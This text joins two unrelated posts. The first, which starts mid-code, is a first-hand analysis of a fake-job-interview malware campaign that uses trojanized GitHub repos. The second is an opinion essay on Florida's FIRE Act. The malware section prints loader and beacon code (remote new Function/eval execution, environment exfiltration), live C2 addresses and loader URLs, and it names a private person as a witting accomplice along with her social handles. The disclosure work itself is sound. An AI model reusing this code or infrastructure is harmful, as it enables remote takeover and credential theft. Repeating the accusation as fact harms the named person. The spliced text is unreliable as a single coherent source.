executor(require);            // compile + run whatever the C2 returns, with full require()

The first line ships your process environment, the API keys and cloud credentials and tokens, anything the shell has exported, to an attacker endpoint, behind a header dressed up as a harmless geolocation check. The second compiles the HTTP response body into a function with require access, which is arbitrary remote code execution wearing a polite name.

A guard function, validateApiKey(), pretends to gate all this, except it is declared async and called without await, so the returned promise is forever truthy and the check never fires; the bug is load-bearing. And the login path hardcodes const isMatch = true;, which leaves authentication purely decorative.

I am not the only one to have seen this. The public RitualPlay analysis lays out the same new Function("require", response.data) primitive, the same await-less guard, the same x-app-request: ip-check exfil, and the same auto-run chain (gist). What nails our copy to that public sample is a pair of hardcoded throwaway secrets in config.js, a MySQL password Espsoft123# and a JWT key ly27lg35kci85tvgvl0zgbod4, identical to the byte.

Different repo, different victim, one crew. The repo is not a GitHub fork. The API reports fork: false; the project was created on July 3, 2026; and its oldest commit dates to December 2015. No repo carries commits from eleven years before it existed unless someone pushed that history in wholesale. That mismatch is the tell. Instead of clicking “Fork,” which brands the page with a “forked from upstream“ banner and files the project in the parent’s network graph, the operators cloned a real, long-lived open-source project on their own machines, grafted the poker game and the malware on top, and pushed the whole thing up as a brand-new repo.

That buys them two things at once. It cuts the cord to the original: no banner, no network link, and, more to the point, nothing for a scanner to diff against a known-good parent, so the malicious commits never light up as departures. And it borrows a decade of maturity. The inherited history drags along years of commits and trusted names, Zeke Sikelianos among them, whose entire contribution is a six-line README fix from 2015. To anyone who doesn’t check the creation date, the contributor graph whispers established project, real people.

There is one fatal flaw in the trick. Cloning preserves the original commit hashes, and those hashes are the same in every copy the crew pushes. Pick a single inherited one, and I used Zeke’s dab886d, and GitHub coughs up every repo that carries it. Three, here: ours, plus RitualGame/MetaPlay, a second Ritual-impersonating org stood up the day before my partner was hit and still being pushed to as I write this, and Bluwhale-Games/DeepWhale, the same crew wearing a different company’s face, with a different game name over the identical backdoor.

The move meant to erase a trail turned one repo into a map of the whole fleet, three repositories from a single inherited hash. It would turn out to be an undercount, but first we had a live server to reach.

Following it to a live C2

A dead repo is an artifact; a live C2 is intelligence. But the endpoints in this malware are IP-gated. They answer differently depending on who is asking, and the ip-check header is the whole reason they profile the caller. Poking them from a victim’s home connection is exactly how you lose.

So we went slowly. Passive first: certificate-transparency logs and old urlscan.io records, which watch the target from somebody else’s infrastructure. Those told us the exfil endpoint, ipcheck-six.vercel.app/api, had returned HTTP 200 for about a week back in April, and that the loader endpoint in our fork, gamboracle.vercel.app/api, a domain absent from any public reporting I could find, had never been scanned at its /api path at all. Liveness genuinely unknown.

To settle that without lighting ourselves up, we sent a single probe through a commercial VPN exit node in South America, fed the malware decoy environment data in place of real secrets, and saved the reply as inert bytes we never executed. All the danger sits in the eval/new Function step; skip that step and the reply is just text.

Two clean results:

• ipcheck-six.vercel.app/api → HTTP 451, “This content has been blocked for legal reasons.” Vercel had already pulled the heavily-reported endpoint.

• gamboracle.vercel.app/api → HTTP 200, a 4,859-byte obfuscated JavaScript loader. The under-reported one was very much alive.

Two notes on method, which matter more than the finding. That loader is shared: both sibling repos point at the same gamboracle, so it is the cluster’s shared stage-one rather than a per-repo stager, and a single Vercel takedown kills all three lures at once. And checking your egress first is not a ritual you can skip. Tunnels fail quietly, and this C2 saves its full payload for exactly those home IPs, so a skipped check is how the researcher trades places with the victim.

We had the stage-2 loader. The trick now was to read it without running it.

Taking apart the second stage

The loader was minified javascript-obfuscator output: three rotated string-arrays hiding some forty method names behind a self-defending wrapper that neuters console to spite debuggers. The obvious move, reaching for a deobfuscator that “sandboxes” the code and evaluates the string-decoder, still runs the attacker’s program, which I didn’t want to get into.

So I did the decoder’s arithmetic for it. The routine is a pure function, index in and string out, once the arrays are rotated into an order the sample checks against three hardcoded constants (220314, 885586, 301094). I rebuilt that rotation in Python and brute-forced each array until its checksum lined up. Dull and deterministic, but their JavaScript never touched my machine.

Out fell a small beacon. It fingerprints the host, taking the hostname, the OS type and release and platform, and the MAC of the first external interface, then every five seconds fires a GET at a base64-hidden URL, http://51.178.11.181:1224/api/checkStatus, plaintext HTTP, an OVH box in France, carrying the full process.env and a campaign tag in the query string. The tag decodes to the frankly strange phrase crash the bad guys.

The interesting line is the command channel:

const { status, message } = await res.json();
if (status === "error") { try { eval(message) } catch (_) {} }   // "error" IS the run-code signal

The gate opens when the server answers status: "error". When the operator wants code on your machine, the reply is shaped to read, in any casual log, like a request that failed. That inverted flag is the doorway the final-stage stealer comes through. Other researchers have mapped the exact protocol, a :1224 beacon to /api/checkStatus that eval()s the message field on status == "error" and hands back a session ID to track the victim (Kudelski Security); Unit 42 first documented the :1224 C2 family in 2023 (Unit 42). Our sample’s hard C2 (51.178.11.181) is a rotation I haven’t seen published; the protocol around it is a known signature. We took the loader and never beaconed, so their server got no fingerprint and no chance to task us.

The second pass: from three repos to more than forty

The first day’s work stopped at one live loader, one command server, and three repositories off a shared commit. The hash only catches clones that kept the original history intact, and it says nothing about the hands pushing them. So the next question wasn’t what these repos share, it was who keeps committing this code and turned three into more than forty.

Git writes two names on every commit: an author and a committer. The crew uses the split on purpose. The author is a borrowed developer, one of the Colombia-and-Argentina names, some real, some rented, but the committer, on every weaponized repo I could find, is the same throwaway address, coinstar@gmail.com.

Ask GitHub for everything that account has touched and the handful of Ritual knock-offs opens into an assembly line: more than forty live repositories, each a working app with the same class of backdoor stitched in, each wearing a different real company’s face. Ritual and Bluwhale, yes, but also 0G Labs, Dapper Labs, EverDreamSoft, Xaya, Alchemy, Moralis, ChainFlip, Celestium, even a counterfeit “TradingView.”

The names run to a formula: a real Web3 or AI firm, a “Play” or “MVP” or “Verse” suffix, and a fresh throwaway org to hold it. The oldest were stood up in August 2025. This was not a campaign aimed at my partner; it was an operation that had been running the better part of a year whose strategy I recognized from Iraq, where we called it spray and pray.

The shooter doesn't bother to aim; he simply pulls the trigger in some general direction and hopes for a lucky hit.

Subscribe now

Following the plumbing, not the code

The inherited hash was the small discovery, the one that found the three copies that happened to preserve their git history. The committer was the large one: it found the operator, and through the operator, the fleet. One persona with more than forty storefronts and a rotating cast of borrowed faces on the commits. I pulled the source of every one and found the backdoor in all but one, a security researcher’s copy kept for study.

More than forty repositories meant as many copies of the loader address to read, and reading them turned gamboracle from a single endpoint into a rack of them. Each group of impersonations points at its own stage-one loader on Vercel’s free tier, addresses like apiformeta, ip-testcheck, project-mjecx, astrahub, and more, the same disposable trick, one front-end per cluster of lures. A newer generation is fussier: endpoints like vscode-settings-8140-self.vercel.app/api/settings/windows that hand back a different payload depending on the victim’s operating system. And pulling each repo’s entire source, not just the obvious files, surfaced the stage-two servers the loaders don’t carry in plain sight, more :1224 boxes hardcoded into the code, among them 51.178.11.177, a second OVH machine one address over from the first, wired into nine of the fleet’s repos.

Then we stopped reading their code and started reading their landlord.

The :1224 servers cluster on one US bulletproof host, Majestic Hosting Solutions, AS396073, the network the SpinServers brand runs on, and the operators leave the same two doors open on each box: 1224 for the malware, 3389 for the remote desktop they manage it from. That pair is a fingerprint, and a fingerprint is a Shodan query: asn:AS396073 port:1224. It returned a server that appears in none of the repositories, 216.250.249.179, a machine found by looking at the building, not the tenants. A single bare TCP connection out through the same VPN exit, no data sent, just a knock, and it answered: live and listening. Their code showed us where they had been; their hosting showed us where they are.

Which of the loaders were still armed we settled without going near them, by handing each URL to urlscan.io, whose scanners fetch from their own infrastructure rather than ours. Four came back with a 200 and a fresh payload, gamboracle, apiformeta, ip-testcheck, and project-mjecx, all live on July 12. Two of the OS-aware endpoints answered 403: alive, but refusing anyone who doesn’t ask in the malware’s exact voice. The rest Vercel had finally pulled. The takedowns are landing; the operators refill faster than they drain.

One pivot went nowhere, and the nowhere is the finding. The command servers wear almost-plausible reverse-DNS names, scimedopenpublisher.info, stayinsunshine.com, wanderingboxbar.com, and I expected them to unravel into more infrastructure. They don’t. One is a stranger’s WordPress blog, one is an expired domain a registrar has parked, one resolves to nothing at all. The crew sets the reverse-DNS on their C2 boxes to arbitrary innocuous or discarded domains they don’t own, so the raw address reads as unremarkable in a log. Chase the pretty names and you find civilians.

The signal was never the name; it is a bare :1224 sitting behind a hostname that doesn’t belong to its neighborhood.

Coda: hacking, but legal

The companies being impersonated by this operation apparently have brands anyone can borrow and no way to stop them. For example, 0G Labs has warned its own candidates in public for months that only LinkedIn can remove a fraudulent profile and that LinkedIn does not, and the impersonation has run on regardless.

A company can warn its applicants and report the accounts, and there it stops, because the one lever that would settle it belongs to the platform and the platform does not pull it. Why it does not, and why the impersonator’s account carries the same verified badge as 0G’s own founder, is the subject of the companion to this piece. The recurrence, the same lure returning under one borrowed name after another — and at times with the same name for months on end — is the point.

I’m naming the “recruiter” who performed this initial stage of this attack. Her alleged name is Anne Plazas Parra — the account is LinkedIn’s anne-plazas-parra-68a880253, verified by the platform and based in Bogotá, with matching profiles under the same name on Instagram (anne914_p) and Facebook. Her own LinkedIn profile lists her as an HR Business Partner at 0G, yet the job she pitched my partner was at Ritual, with 0G never mentioned. The same verified account claimed one company and recruited for another.

Meanwhile, 0G Labs has confirmed that Parra is not employed by the firm and has never worked there.

While a name on a malicious commit is not proof, and I suspect some of these identities may be rented or stolen, Anne is not a simple name on a commit. In this case, what names her is not one act but a coordinated one, and coordination can’t be accounted for through some innocent explanation.

Walk the sequence: the day of the initial scheduled call, she messaged from her LinkedIn account to confirm my partner was getting on the call. On the day the call actually happened, she did not appear to run the interview herself; she seamlessly handed my partner off to a man who went by a name he recalls as “Doran”, who spoke English with a significant (European? Eastern European?) accent, and who killed his own video the instant the call began and blamed his bandwidth — all with the racket of a busy call center in the background.

Video off on sight is a documented signature of these interviews, and the accent did not match a woman in Bogotá nor a company called Ritual, but neither of those alone is the tell. The tell is what happened at the moment of detection. My partner was walked to the step the whole call was built around — cloning and running the repository — and when his check on it came back naming it malware and he said so out loud, the interviewer hung up and the recruiter rapidly blocked him across every platform inside the same hour. No message before it, none after.

An innocent freelancer whose candidate gets cold feet does not vanish in lockstep with a separate interviewer she handed off to at the exact second the payload is named. Two people reacting as one, on two channels, the instant the operation is burned is a kill switch and not a likely coincidence.

The only party that could take the profile down has given no sign it would. 0G had spent months saying in public that only LinkedIn can remove a fraudulent profile and that LinkedIn does not, and the impersonation ran on regardless.

I reported the account to LinkedIn all the same. I did not attempt to contact the account directly; it had already blocked my partner mid-operation, and warning an active operator of a pending story serves no one. The profile is still there as I publish, verification badge and all, ready to open the next conversation with the next engineer — all this despite the fact that CTO Morgan Greff named her directly on LinkedIn months ago!

Sadly, naming her is all that is left once the only institution that could act has declined the job.

Disclosure timeline

• 2026-04-07 → 05-18: attacker prep. The fake “Open Roles at RITUAL” doc is created (Apr 7), the backdoor is committed to RitualProg/MetaPlay (May 4), and the lookalike ritualhub.net is registered (May 18).

• 2026-07-02: first LinkedIn contact from the recruiter, “Anne.”

• 2026-07-08: Anne messages to confirm my partner is getting on the call the next day.

• 2026-07-09: the video call, run not by Anne but by a male interviewer, “Doran,” who kills his video at the start; the “pull down the code” ask; the clone into a throwaway VM where his own check flagged it as malware, which is what started all of this. Within the hour, once my partner names the repo as malware, the interviewer hangs up and Anne blocks him across every platform. Same day: the full analysis (defang → passive recon → a single VPN’d decoy probe → deobfuscation → stage-2 C2 51.178.11.181:1224), the shared-commit pivot that surfaced the sibling fleet, and disclosure to Vercel, OVH, Namecheap, GitHub, and LinkedIn, all acknowledged receipt, plus a heads-up to 0G Labs. Takedowns pending at publication.

• 2026-07-11: second pass. A pivot on the operators’ committer address (coinstar@gmail.com) expands the fleet from three repositories to more than forty, across a dozen impersonated companies; a full-source harvest of each surfaces additional Vercel loaders and more hardcoded :1224 stage-two servers, including 51.178.11.177. Disclosure to Vercel and GitHub expanded accordingly.

• 2026-07-12: a Shodan sweep of the operators’ bulletproof host (AS396073) surfaces a live command server, 216.250.249.179, that appears in none of the repositories, confirmed with a zero-byte TCP probe; urlscan confirms four stage-one loaders still serving. With the reported profile still live and LinkedIn yet to act on it, the recruiter is named in this post.

Appendix: Indicators of Compromise

• Malicious repo: github.com/RitualProg/MetaPlay (trojanized fork; live at writing)

• Fleet siblings (found via SHA pivot): RitualGame/MetaPlay (live, pushed 2026-07-09), Bluwhale-Games/DeepWhale (impersonates Bluwhale); share base commit dab886d; both point at the same gamboracle/ipcheck-six C2

• Stage-1 RCE loader C2: https://gamboracle.vercel.app/api (HTTP 200, live 2026-07-09)

• Stage-1 env-exfil C2: https://ipcheck-six.vercel.app/api (HTTP 451 / taken down 2026-07-09)

• Stage-2 hard C2: http://51.178.11.181:1224/api/checkStatus (OVH FR; PTR e1.scimedopenpublisher.info)

• Loader sample: SHA-256 28c9d28477ba63486a086bc02a82bf9c2734df20f2b9f37b8e0aabf3cd03833d (4,859 B, obfuscated JS)

• Campaign tag: base64 Y3Jhc2ggdGhlIGJhZCBndXlz = “crash the bad guys”

• Social-engineering infra: ritualhub.net, crew@ritualhub.net, michael.peter.hq@gmail.com, calendly.com/ritual-join; recruiter persona “Anne” (named in the second-pass table below), interviewer “Doran”

First-hand, second pass (2026-07-11/12; found by pivoting from the incident above):

• Operator committer (the pivot): coinstar@gmail.com, the committer on 40+ live repos; enumerate via GitHub commit search. Author fields carry the borrowed developer identities; the committer is constant.

• Fleet scale: 40+ repos (43 and climbing at publication) impersonating Ritual, Bluwhale, 0G Labs, Dapper Labs, EverDreamSoft, Xaya, Alchemy, Moralis, ChainFlip, Celestium, TradingView; oldest ~Aug 2025

• Stage-1 loaders (Vercel), live 2026-07-12: apiformeta.vercel.app/api, ip-testcheck.vercel.app/api, project-mjecx.vercel.app/api (HTTP 200, serving), alongside the still-live gamboracle

• Stage-1 loaders, taken down / gated: astrahub, rgg-test, rgg-vercel, test-g-acs, apiserver-jade (/api/data, HTTP 451); coreviewer (/task/{os}?token=), 0g-auth-check (/api/validate?token=); OS-aware vscode-settings-529 / vscode-check-mo2 / vscode-settings-8140-self (/api/settings/{os}, 403/404)

• Additional stage-2 hard C2s (:1224): 51.178.11.177 (OVH; hardcoded in 9 repos); 216.250.251.187, 147.124.212.180 (Majestic); 216.250.249.179, live 2026-07-12, found via Shodan, in no repo

• Stage-2 hosting hub: Majestic Hosting Solutions, AS396073 (SpinServers network); operator boxes expose port 1224 + port 3389 (RDP)

• Hunt queries: Shodan asn:AS396073 port:1224; GitHub committer-email:coinstar@gmail.com and hash:dab886d…

• C2 reverse-DNS (camouflage, DO NOT block): scimedopenpublisher.info, stayinsunshine.com (a real WordPress site), wanderingboxbar.com (expired/parked). PTRs the crew sets on their C2 IPs; not their infrastructure, and in two cases someone else’s

• Recruiter (named; witting facilitator): “Anne Plazas Parra”. LinkedIn anne-plazas-parra-68a880253 (identity-verified, Bogotá, live at publication; profile lists 0G as employer while the approach pitched Ritual); Instagram anne914_p; Facebook profile.php?id=61558233095412. Assessed witting on coordinated behavior, not a borrowed byline: she was the persistent front, confirmed the call the day before, handed off to a separate interviewer who cut his video on sight, and blocked the target across every platform within the hour the payload was named, in lockstep with the interviewer’s hang-up.

Corroborated with public reporting (see gist, reymom.xyz, AllSecure):

• Sibling repos (attacker-controlled orgs; 0G-Labs-IO and 0g_labs impersonate 0G Labs, ritualPlay-Net impersonates Ritual): ritualPlay-Net/RitualPlay, 0G-Labs-IO/MGVerse, bitbucket.org/0g_labs/rollplay-i

• Sibling stage-2 C2s: 216.250.249.176:1224 (Majestic Hosting / SpinServers, AS396073, Carrollton TX); 104.192.42.117:3000 (EuroHoster / AS207728, per AllSecure)

• Wider-cluster C2 IPs (hosting WHOIS-verified): 107.189.16.154:8353 (FranTech / PonyNet, US) · 5.180.30.30:4558 (THE-HOSTING / WorkTitans B.V., NL) · 31.222.238.61:4558 (P.Q. Hosting / Weiss Hosting Group, Chișinău, Moldova)

• Same-actor tell: config.js secrets Espsoft123# (MySQL) + ly27lg35kci85tvgvl0zgbod4 (JWT), byte-identical across copies

• Committer-email IOCs (per AllSecure; recur across both repos): coinstar@gmail.com, webvlada2024@gmail.com, randhawamanpreet37@gmail.com, ignusmart@gmail.com, mjlescano@protonmail.com, Pourcheriki@gmail.com, aaronhiroto.bm@gmail.com, lxin6793@gmail.com. Indicators, not accusations; some may be stolen/rented identities.

• Campaign fingerprints: campaign ID env070722; misspelled detection string deps-theard; extra stagers oracle-reg-check.vercel.app, ip-checking-notification-pic.vercel.app

• Code signatures: header x-app-request: ip-check; new Function("require", response.data); .vscode/tasks.json runOn: folderOpen; package.json prepare hook; :1224 + /api/checkStatus, status:"error" → eval

The command servers are scattered on purpose: FranTech in the US, SpinServers in Texas, THE-HOSTING in the Netherlands, and P.Q. Hosting in Moldova. The last two are the same EU-sanctioned Russian bulletproof network under two names, routed as one (AS209847), so no single provider or registrar can pull the whole thing down at once.

(IOCs from third-party reports that I could not independently verify against primary sources are deliberately omitted.)

Credits and prior work

This analysis gratefully leans on those of other researchers. The nearest match to our own incident is Christian Papathanasiou of AllSecure, a security CEO who was targeted by the same crew and reverse-engineered their malware out loud; his committer-email indicators and infrastructure map thread through the appendix above. Adib Hanna and the researcher writing at reymom.xyz each cracked open sibling repositories and confirmed details we could otherwise only watch first-hand. OpenSourceMalware first pinned down the folder-open auto-run technique, and Kudelski Security the beacon protocol I decoded by hand. The broader campaign has its shape thanks to the threat-intelligence teams at Socket, Palo Alto Unit 42, Google/Mandiant, ESET, CrowdStrike, Microsoft, and NTT Security Japan, who gave OtterCookie its name.

A separate thanks to the two who wrote from the receiving end. Papathanasiou and KnowBe4, whose CEO published his own company’s near-miss, both chose to describe being targeted instead of quietly moving on. The field is measurably better for it, and this piece is a direct beneficiary.

One last credit, of a different kind. The malicious repo is a weaponized copy of a legitimate open-source project, and the real developers whose honest work was grafted into it to lend it a decade of false history, Zeke Sikelianos and the base project’s actual maintainers among them, are victims here, not participants. Read their commits as what they are: evidence of the theft, not proof of complicity.

Further reading

• Socket: Contagious Interview across 5 ecosystems · 338 npm packages · GitHub infrastructure

• Palo Alto Unit 42: original BeaverTail/InvisibleFerret disclosure · fake recruiters

• Google/Mandiant: UNC5342 adopts EtherHiding

• ESET: DeceptiveDevelopment · CrowdStrike: Famous Chollima · MITRE: G1052

• NTT Security Japan: OtterCookie · Kudelski: checkStatus beacon analysis

• FBI IC3: data extortion · hiring red flags · Bybit/TraderTraitor · DOJ: nationwide laptop-farm actions · Treasury: sb0416

• AllSecure: North Korea Tried to Hack Our CEO Through a Fake Job Interview (sibling incident: the same generic base project under the attackers’ “0G RollPlay” branding, with the shared ipcheck-six stager and the same committer identities)

On July 1, a new Florida law voided contracts and rewrote a chunk of the state’s criminal code. It extinguished decades of municipal friendship with cities abroad. If you’re, say, a Chinese green card holder in Miami hoping to build a family through surrogacy, word of this may reach you through a call from your fertility clinic, which as of this month cannot write you an enforceable contract because Florida now files your family plans under national security.

Lawmakers named it the Foreign Interference Restriction and Enforcement (FIRE) Act. It moved through the Legislature as HB 905 and collected Governor Ron DeSantis’s signature on May 8. While hostile foreign governments are the advertised target, its reach runs to legal immigrants decades into their Florida lives and to protesters whose politics irritate a prosecutor. Even students got swept in; a public school’s exchange program with a partner classroom abroad is terminated the moment it runs through an agreement with the wrong country’s institutions.

Nothing this sweeping has ever passed in any state under a banner of national security. It passed anyway, 86 to 20 in the House and 28 to 11 in the Senate, over objections that never had the votes to matter and never found much of an audience beyond the chamber.

Give the law’s defenders their due; the threat they describe really does exist. Beijing runs influence operations against American state and local officials; the FBI has been saying so for years, and the United Front Work Department that Florida’s new ethics training calls out by name is a functioning arm of an authoritarian party. Foreign intelligence services recruit sources here and move money here, and exiled dissidents are harassed on American streets by the governments they fled. A state stocked with ports and research universities has honest reasons to want defenses, and counterintelligence is real work that somebody has to do.

What this law does to that mission is the problem. Handed a genuine threat, Florida reached for tools that will hurt bystanders and let the connected off with a slap on the wrist, borrowing along the way from the procedural habits of the closed and oppressive societies it claims to oppose.

An open society that copies its enemies’ paperwork has lost the plot.

Here is what the FIRE Act does, in plain terms.

Fifteen years for a state of mind

Deep in the Act sits a new criminal statute, section 775.08255.

Any crime on Florida’s books, from petty theft up through the gravest felony, can be upgraded one full level of severity if a prosecutor chooses to charge it that way and persuades a jury it was committed “for the purpose of benefiting, promoting, or furthering the interests of” a foreign government or terrorist organization. The statute’s operative word is “may.” Nothing about the enhancement is automatic; it is an option sitting on the desk of each of Florida’s twenty elected state attorneys, and identical conduct by two defendants can end fifteen years apart depending on which of them the state decides deserves it. The mandatory minimum is not reserved for the worst cases: it attaches to any first-degree felony or life felony under the section, so a second-degree felony reclassified upward walks straight into a fifteen-year floor beneath which a judge cannot go.

Review the trigger for this crime. Actual espionage isn’t required, and neither is foreign money or so much as an email to a foreign agent; the enhancement turns on purpose, a state of mind, and the statute never explains what is specifically involved in “furthering the interests” of a foreign government.

Actual adversaries aren’t required. Elsewhere in the text, the law confines itself to seven named “countries of concern” (China, Russia, Iran, North Korea, Cuba, Venezuela under Maduro, and Syria), but the criminal enhancement borrows a wider definition, sweeping in every government on Earth.

Even Canada counts.

Run the scenario. A demonstrator at a Gaza protest gets arrested for blocking a road, the sort of charge that normally ends in a fine, and a prosecutor argues the act was meant to further a foreign government’s interests. Suddenly, the misdemeanor has grown teeth, and what fed it was the defendant’s politics. Against that outcome, the statute’s text offers no obstacle. American history, with its vague security laws and inconsistent enforcement, offers no comfort. Mandatory minimums sharpen the danger by shifting sentencing power from judges to prosecutors, who can now dangle fifteen years over a defendant until a plea looks rational, even to the innocent.

Serious espionage statutes read differently. Federal law goes after conduct, acting at a foreign power’s direction or concealing foreign funding, and describes what spies do. Florida’s enhancement describes nothing at all. Hanging fifteen years on a thought suggests less a confident democracy hunting foreign agents than a nervous one hunting its critics.

Twenty elected state attorneys now have this weapon within reach. Whoever gets charged first will tell us what it was built for.

Your passport, your family

The cruelest provision is also the one that broke the bill. HB 905 moved through its committees unanimously, 16 to 0 in the House and 11 to 0 in the Senate, a national-security package both parties could sign. Then the surrogacy amendment arrived on the floor, and the coalition cracked along its seam. Democrats objected that the language had never been vetted by adoption or surrogacy attorneys and could reach families adopting from countries like China; Senator Tina Polsky protested that lawmakers had heard zero expert testimony and had no way to understand the complexity of the agreements they were about to void. They were outvoted, the amendment stayed, and the bipartisan bill became a party line bill. The objections were made, recorded, and then amplified by no one: no national civil-liberties organization, no editorial board outside Florida, no institution with the reach to make a legislature care.

Losing an argument is ordinary. What happened here is that the argument was held in an empty room.

What the amendment did: surrogacy contracts and preplanned adoption agreements are banned for anyone who is a citizen or resident of a country of concern, and such contracts are now “void and unenforceable” in Florida as a matter of official public policy.

Citizen or resident. Under that wording, a Chinese intelligence officer and a Chinese-born cancer researcher, twenty years in Tampa with a green card and a tax bill heavier than most legislators’, stand equally barred. So does a Cuban citizen in Hialeah, the city with the highest concentration of Cuban Americans in the country. Whether a couple may build a family through surrogacy, an option open to every other Floridian, now hangs on their passports. No hearing gets offered and no individual assessment made, and nowhere does the law account for what threat to anyone’s security a surrogacy contract could conceivably pose.

The legislative record never explains it, but the Governor did, at the signing, in his own words:

“I know we’re hoping that the Supreme Court is going to interpret the 14th Amendment so that we can put a stop to some of the people that are coming here for a month, having birth, and then going back to China.

That’s part of an operation. Why would we let that that happen and grant citizenship under those circumstances?”

There is the provision’s purpose, stated by the man whose signature enacted it: not espionage or infrastructure, but birth and the citizenship it confers.

The state said the quiet part at the podium.

Security policy that can’t sort a spy from a taxpayer has stopped being security policy and become something else wearing the uniform. It also kneecaps its own mission because the immigrants it punishes are frequently the very people who fled these regimes, and their rough handling by American governments makes propaganda gold for Beijing and Havana. Each green card holder turned away from a Florida clinic amounts to a talking point manufactured free of charge on behalf of those regimes.

The idea behind the provision has a long pedigree — none of it flattering. A century ago, states wrote alien land laws to keep Asian immigrants from owning property. These statutes are now taught as a national embarrassment. Florida exhumed that logic in 2023 with SB 264 to restrict land ownership by citizens of these same countries; Chinese immigrants sued with ACLU backing, calling the law racial exclusion in national security costume. That challenge died in November 2025, when a divided federal appeals panel ruled the plaintiffs lacked standing to sue and left the law in force without ever deciding whether it was constitutional; the plaintiffs folded their case soon after. No court has upheld this architecture on the merits, and no court has been permitted to examine it. Florida read the silence as permission and extended the design from property into parenthood.

First they came for the house. Now they’re back for the family.

Diplomacy, deleted

Elsewhere, the Act proceeds by amputation. Every agreement between a Florida public body and a country of concern, sister-city relationships included, died by operation of law on July 1; cultural exchanges that outlasted the Cold War were unwritten by a single statutory sentence. Grants from those countries or from entities they control are now off limits to school districts and cities alike.

University “linkage institutes,” assembled over decades to trade students and commerce with partner countries, can no longer legally touch a country of concern, and the Florida-China Institute was struck from state law altogether. And yes, these institutes deliver foreign soft power; that is what cultural diplomacy is. So does every Fulbright and every Alliance Française classroom, and the exchange runs both ways, with Florida’s own soft power riding out on every student it sent abroad. Influence of that kind operates in daylight, which is exactly what the covert operations the FBI warns about are built to avoid. A law that cannot tell an exchange program from an influence operation has the same defect as one that cannot tell a spy from a taxpayer.

Officials caught accepting something of value from those countries’ agents on an understanding that their official actions would be influenced, which is to say caught taking a bribe from a hostile foreign power, owe back double its worth. Not prison or removal from office, but a refund at a penalty rate. It remains one of the few provisions pointed at people holding actual power rather than immigrants without any, and it treats them the most gently. Come November, every Florida official’s ethics training must cover foreign influence campaigns, with the Chinese Communist Party’s “United Front” strategy named in the statute itself.

I am no fan of Beijing, but when a state law starts quoting think tank vocabulary, someone ought to ask whose pen produced the draft.

Sister-city termination bills have been a signature product of State Armor, a hawkish group most Floridians have never heard of. State Armor is the creation of Michael Lucci, a political operative the Wall Street Journal has called “China’s biggest adversary in U.S. statehouses.” His group launched in early 2024 with a blessing from Robert O’Brien, Trump’s former national security advisor, and applause from the chairman of the House select committee on the Chinese Communist Party, and it arrived carrying more than a dozen model bills and three model executive orders ready for any legislature that wanted them. The catalog runs from stripping Huawei hardware out of state telecom networks to barring Chinese companies from state procurement, from foreign-agent registries to land restrictions near critical infrastructure, and on to a “Pacific Conflict Stress Test” inviting states to wargame a Taiwan crisis, which Nebraska adopted first. Lucci has worked legislatures across the country since founding the group, and by this June he was in front of Congress testifying about his wins in Nebraska and Texas.

Ask who pays for all this, and the answers thin out. State Armor discloses no funder list. Tax filings reviewed by Responsible Statecraft show the group has been financed largely by the Concord Fund, a nonprofit tied to Leonard Leo, the conservative legal activist best known for steering the federal judiciary rightward through a web of anonymously funded organizations.

Lucci appeared before the Florida House Judiciary Committee in February to testify in support of HB 905, warning of vulnerabilities tied to foreign-controlled technology, on the record and on camera. Florida’s Voice wrote up the testimony approvingly; among outlets with any distance from the project, only the Orlando Sentinel examined the group’s role. The connection between the model-bill shop and the statute is not a buried thread some reporter had to pull. It is a public record that the national press never bothered to read. Florida outsourced a piece of its foreign policy to an out-of-state pressure group that will not name its funders, the group’s founder said so from a witness chair in Tallahassee, and the Legislature never blinked.

One provision requires a close read. Should Washington change Cuba’s diplomatic status, the Governor may suspend Florida’s Cuba restrictions by executive order, though the power is smaller than it sounds. Any suspension dies when the Legislature next adjourns, it cannot be renewed or extended, the same statute cannot be suspended twice without lawmakers’ express blessing, and the authority itself is repealed on October 2, 2028 unless reenacted. Still, this narrow valve exists for exactly one of the seven countries of concern, the one whose diaspora votes extensively in Florida elections, and its expiration date sits comfortably inside the current presidential term.

Six adversaries got a wall, while Cuba was given a wall with a door.

Nobody was watching

How does a law like this pass in our third largest state without becoming a national story? Not for lack of consequence, as it attaches years of prison time to a defendant’s beliefs and sorts family rights by birthplace.

Yet, as of this writing, the Associated Press, Reuters, the New York Times, the Washington Post, and Politico have run no dedicated coverage of it. The local press did its job in pieces: the Miami stations covered the signing, Florida Politics and Florida Phoenix tracked the votes, the public-radio affiliates explained the surrogacy ban to anyone listening. What never arrived was the national desk. The bill traveled through committee under the eyes of Florida’s shrunken statehouse press corps, wire service and metro papers that have shed half their staff in a decade, and local journalism’s collapse presented its invoice. Laws that would once have commanded a correspondent’s full attention now pass without national notice, and that half-light, local coverage without national consequence is the light in which provisions like the surrogacy ban grow best.

Special mention goes to one outlet that embraced the Act warmly.

The Epoch Times, the Falun Gong-affiliated media empire whose brand rests on exposing Chinese Communist influence, cheered the law along. Its former chief financial officer, Weidong “Bill” Guan, was indicted by federal prosecutors in 2024 over an alleged scheme to launder at least $67 million in criminal proceeds, much of it stolen unemployment benefits, into company accounts. Prosecutors say his team bought crime money with cryptocurrency and rinsed it through accounts opened under stolen identities while the company’s reported revenue leapt roughly 410 percent in a year. Guan pleaded not guilty and the company suspended him; prosecutors have noted that the charges sit apart from the outlet’s journalism. His trial was last on the calendar for May 2026. A media company allegedly fattened on laundered fraud proceeds, lecturing the country about foreign financial infiltration, stands as the purest artifact this whole story coughs up.

The groups you’d expect to man the barricades have supplied the loudest silence. When the land law passed in 2023, the ACLU and Asian American civil-rights organizations mobilized inside a month. HB 905 reaches even more deeply into private life on the same discriminatory logic, and so far the coalition has said nothing specific about it. Triage is the likeliest interpretation; the same organizations spent two years litigating the last Florida law only to be turned away at the courthouse door on standing, and are rationing themselves for a legal system that punishes overreach.

Meanwhile, immigrant Floridians have been left to discover their new legal standing one voided contract at a time.

The test ahead

Enforcement is where laws confess, and two confessions are pending. Watch who draws the first prosecution under the sentencing enhancement; if the fifteen-year hammer lands on a protester or a student first rather than an actual foreign operative, no further commentary will be needed. And watch for the first family broken on the surrogacy ban, some lawful resident turned away over a passport who will make an uncommonly sympathetic plaintiff in front of a federal judge.

None of what I’ve said here argues against countering foreign interference. A state serious about the problem could fund counterintelligence coordination with federal task forces and drag foreign money in state politics and universities, where the influence problem lives, into daylight. Diaspora communities could be better shielded from the transnational repression that genuine foreign agents seek to inflict; a Chinese or Cuban dissident in Florida stands in more danger from Beijing or Havana than any legislator ever will. A law along those lines would deserve support, not least from the people this one targets.

